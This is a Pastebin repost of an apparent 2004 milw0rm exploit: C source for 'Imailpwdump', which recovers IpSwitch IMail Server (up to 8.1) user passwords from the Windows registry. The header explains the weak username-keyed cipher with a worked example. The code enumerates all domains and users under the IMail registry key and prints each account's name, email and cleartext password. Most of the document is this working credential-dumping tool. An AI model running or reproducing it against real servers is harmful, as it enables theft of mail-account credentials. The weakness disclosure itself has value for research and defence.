Guest User

Untitled

a guest
Dec 10th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.02 KB | None | 0 0
  1. /*********************************************************************************
  2. * IpSwitch IMail Server <= ver 8.1 User Password Decryption
  3. *
  4. * by Adik < netmaniac hotmail KG >
  5. *
  6. * IpSwitch IMail Server uses weak encryption algorithm to encrypt its user passwords. It uses
  7. * polyalphabetic Vegenere cipher to encrypt its user passwords. This encryption scheme is
  8. * relatively easy to break. In order to decrypt user password we need a key. IMail uses username
  9. * as a key to encrypt its user passwords. The server stores user passwords in the registry under the key
  10. * "HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\<username>\Password".
  11. * Before decrypting password convert all upper case characters in the username to lower case
  12. * characters. We use username as a key to decrypt our password.
  13. * In order to get our plain text password, we do as follows:
  14. * 1) Subtract hex code of first password hash character by the hex code of first username character.
  15. * The resulting hex code will be our first decrypted password character.
  16. * 2) Repeat above step for the rest of the chars.
  17. *
  18. * Look below, everythin is dead simple ;)
  19. * eg:
  20. *
  21. * USERNAME: netmaniac
  22. * PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3
  23. * --------------------------------------------
  24. *
  25. * D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash
  26. * - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username
  27. * n e t m a n i a c n e t m a <- username is a key
  28. * -----------------------------------------
  29. * 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted password
  30. * b i s h k e k f o r e v e r <- actual decrypted password
  31. *
  32. *
  33. * pwdhash_hex_code username_hex_code decrypted_password
  34. * ------------------------------------------------------------------
  35. * D0 - 6E (n) = 62 (b)
  36. * CE - 65 (e) = 69 (i)
  37. * E7 - 74 (t) = 73 (s)
  38. * D5 - 6D (m) = 68 (h)
  39. * CC - 61 (a) = 6B (k)
  40. * D3 - 6E (n) = 65 (e)
  41. * D4 - 69 (i) = 6B (k)
  42. * C7 - 61 (a) = 66 (f)
  43. * D2 - 63 (c) = 6F (o)
  44. * E0 - 6E (n) = 72 (r)
  45. * CA - 65 (e) = 65 (e)
  46. * EA - 74 (t) = 76 (v)
  47. * D2 - 6D (m) = 65 (e)
  48. * D3 - 61 (a) = 72 (r)
  49. * ------------------------------------------------------------------
  50. *
  51. * I've included a lil proggie to dump all the usernames/passwords from local machine's registry.
  52. * Have fun!
  53. * //Send bug reports to netmaniac[at]hotmail.KG
  54. *
  55. * Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;), Morphique
  56. *
  57. * [16/August/2004] Bishkek
  58. *********************************************************************************/
  59.  
  60.  
  61. //#include "stdafx.h"
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include <string.h>
  65. #include <ctype.h>
  66. #include <windows.h>
  67. #define snprintf _snprintf
  68. #pragma comment(lib,"advapi32")
  69. #define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,."
  70. #define MAX_NUM 1024 //500
  71. #define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
  72. #define VER "1.1"
  73. #define MAXSIZE 100
  74.  
  75. int total_accs=0;
  76. int total_domainz=0,total_domain_accs=0;
  77. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  78. void greetz()
  79. {
  80. printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver %s] =--\n\n"
  81. "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG )\n\n\n",VER);
  82. }
  83. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  84. void usage()
  85. {
  86. printf( "------------------------------------------------------------------------\n");
  87. printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from local registry\n\n"
  88. " Imailpwdump [username] [passwordhash] -- User/PwdHash to decrypt\n\n"
  89. " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
  90. printf( "------------------------------------------------------------------------\n");
  91.  
  92. }
  93. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  94. void str2hex(char *hexstring, char *outbuff)
  95. {
  96. unsigned long tmp=0;
  97. char tmpchr[5]="";
  98. memset(outbuff,0,strlen(outbuff));
  99. if(strlen(hexstring) % 2)
  100. {
  101. printf(" Incorrect password hash!\n");
  102. exit(1);
  103. }
  104. if(strlen(hexstring)>MAXSIZE)
  105. {
  106. printf(" Password hash is too long! \n");
  107. exit(1);
  108. }
  109. for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
  110. {
  111. memcpy(tmpchr,hexstring+i,2);
  112. tmp = strtoul(tmpchr,NULL,16);
  113. outbuff[c] = (char)tmp;
  114. }
  115. }
  116. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  117. void str2smallcase(char *input)
  118. {
  119. if(strlen(input)>MAXSIZE)
  120. {
  121. printf(" Username too long! \n");
  122. return;
  123. }
  124. for(unsigned int i=0;i<strlen(input);i++)
  125. {
  126. if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' || input[i]=='.')
  127. input[i] = tolower(input[i]);
  128. else
  129. {
  130. printf(" Bad characters in username!\n Allowed characters: %s\n",ALLOWED_USERNAME_CHARS);
  131. return;
  132. }
  133. }
  134. }
  135. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  136. void populate(char *input,unsigned int size)
  137. {
  138. char tmp[MAX_NUM]="";
  139. unsigned int strl = strlen(input);
  140. strcpy(tmp,input);
  141. //netmaniacnetmaniacnetman
  142. unsigned int x = 0;
  143. for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
  144. {
  145. if(c==strl)
  146. c=0;
  147. input[i] = tmp[c];
  148. x = i;
  149. }
  150. input[x]='\0';
  151. }
  152. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  153. void imail_decrypt(char *username, char *pwdhash,char *outbuff)
  154. {
  155. //adik 123456
  156. //adikbek 123
  157. if(strlen(pwdhash) <= strlen(username) )
  158. {
  159. memset(outbuff,0,sizeof(outbuff));
  160. unsigned int x = 0;
  161. for(unsigned int i=0;i<strlen(pwdhash);i++)
  162. {
  163. outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff);
  164. x = i;
  165. }
  166. outbuff[x]='\0';
  167. }
  168. }
  169. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  170. void get_usr_pwds(char *subkey,char *usr)
  171. {
  172. long res;
  173. HKEY hPwdKey;
  174. char username[MAXSIZE]="";
  175. char passwdhash[MAXSIZE*2]="", passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
  176. char fullname[MAXSIZE]="";
  177. char email[MAXSIZE]="";
  178. DWORD lType;
  179. DWORD passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1;
  180.  
  181. res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey);
  182. if(res!=ERROR_SUCCESS)
  183. {
  184. printf(" Error opening key %s! Error #:%d\n",subkey,res);
  185. exit(1);
  186. //return;
  187. }
  188.  
  189. if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!= ERROR_SUCCESS)
  190. {
  191. RegCloseKey(hPwdKey);
  192. return;
  193. }
  194. if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!= ERROR_SUCCESS)
  195. {
  196. RegCloseKey(hPwdKey);
  197. return;
  198. }
  199. if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS)
  200. {
  201. RegCloseKey(hPwdKey);
  202. return;
  203. }
  204.  
  205.  
  206. str2smallcase(usr);
  207. strncpy(username,usr,sizeof(username)-1);
  208. str2hex(passwdhash,passwd);
  209. // adik 1234567
  210. // adik 12
  211. if(strlen(passwd)>strlen(username))
  212. populate(username,strlen(passwd));
  213. imail_decrypt(username,passwd,clearpasswd);
  214.  
  215. printf( "------------------------------------------------------------------------\n"
  216. " FullName:\t %s\n"
  217. " Email:\t\t %s\n"
  218. " Username:\t %s\n"
  219. " Password:\t %s\n",
  220. fullname,email,usr,clearpasswd);
  221. total_accs++;
  222. RegCloseKey(hPwdKey);
  223. }
  224. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  225. void dump_registry_pwds()
  226. {
  227. HKEY hKey,hUserKey;
  228. DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0;
  229. FILETIME ftime;
  230. char domain[150]="";
  231. char user[150]="";
  232. char tmpbuff[MAX_NUM]="";
  233. char usrtmpbuff[MAX_NUM]="";
  234. domRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey);
  235. if(domRes!=ERROR_SUCCESS)
  236. {
  237. printf(" Error opening key '%s'!\n IMail not installed?? Error #:%d\n",DOMAINZ,domRes);
  238. exit(1);
  239. }
  240. do
  241. {
  242. domlen=sizeof(domain)-1;
  243. domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime);
  244. if(domRes!=ERROR_NO_MORE_ITEMS)
  245. {
  246. printf("\n DOMAIN:\t [ %s ]\n",domain);
  247. userIndex=0;
  248. total_accs=0;
  249. snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain);
  250. usrRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey);
  251. if(usrRes==ERROR_SUCCESS)
  252. {
  253. //adik
  254. do
  255. {
  256. userlen=sizeof(user)-1;
  257. usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime);
  258. if(usrRes!=ERROR_NO_MORE_ITEMS)
  259. {
  260. snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user);
  261. get_usr_pwds(usrtmpbuff,user);
  262. }
  263. userIndex++;
  264. }
  265. while(usrRes!=ERROR_NO_MORE_ITEMS);
  266. RegCloseKey(hUserKey);
  267. printf("\n\t Total:\t %d Accounts\n",total_accs);
  268. total_domain_accs += total_accs;
  269. total_domainz++;
  270. }
  271. domIndex++;
  272. }
  273. }
  274. while(domRes != ERROR_NO_MORE_ITEMS);
  275. RegCloseKey(hKey);
  276. //total_domains += dom
  277. printf("\n Total:\t %d Domains, %d Accounts\n",total_domainz,total_domain_accs);
  278.  
  279. }
  280. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  281. void decrypt_usr_pass(char *usr,char *passwd)
  282. {
  283. char username[MAX_NUM]="";
  284. char passwordhash[MAX_NUM]="";
  285. char outputbuff[250]="";
  286.  
  287. str2smallcase(usr);
  288. strncpy(username,usr,sizeof(username)-1);
  289. str2hex(passwd,passwordhash);
  290. printf("------------------------------------------------------------------------\n");
  291. printf( " Username:\t\t %s\n"
  292. " Passwordhash:\t\t %s\n",usr,passwd);
  293. if(strlen(passwordhash)>strlen(username))
  294. populate(username,strlen(passwordhash));
  295.  
  296. imail_decrypt(username,passwordhash,outputbuff);
  297. printf(" Decrypted passwd:\t %s\n",outputbuff);
  298. printf("------------------------------------------------------------------------\n");
  299. }
  300. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  301. void main(int argc, char *argv[])
  302. {
  303. greetz();
  304.  
  305. if(argc ==2 && strncmp(argv[1],"-d",2)==0 )
  306. {
  307. //dump passwd from registry
  308. dump_registry_pwds();
  309. }
  310. else if(argc == 3 && strncmp(argv[1],"-d",2)!=0)
  311. {
  312. //decrypt username passwd
  313. decrypt_usr_pass(argv[1],argv[2]);
  314. }
  315. else
  316. {
  317. usage();
  318. return;
  319. }
  320.  
  321. // ThE eNd
  322.  
  323. }
  324. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  325.  
  326. // milw0rm.com [2004-08-18]
Add Comment
Please, Sign In to add comment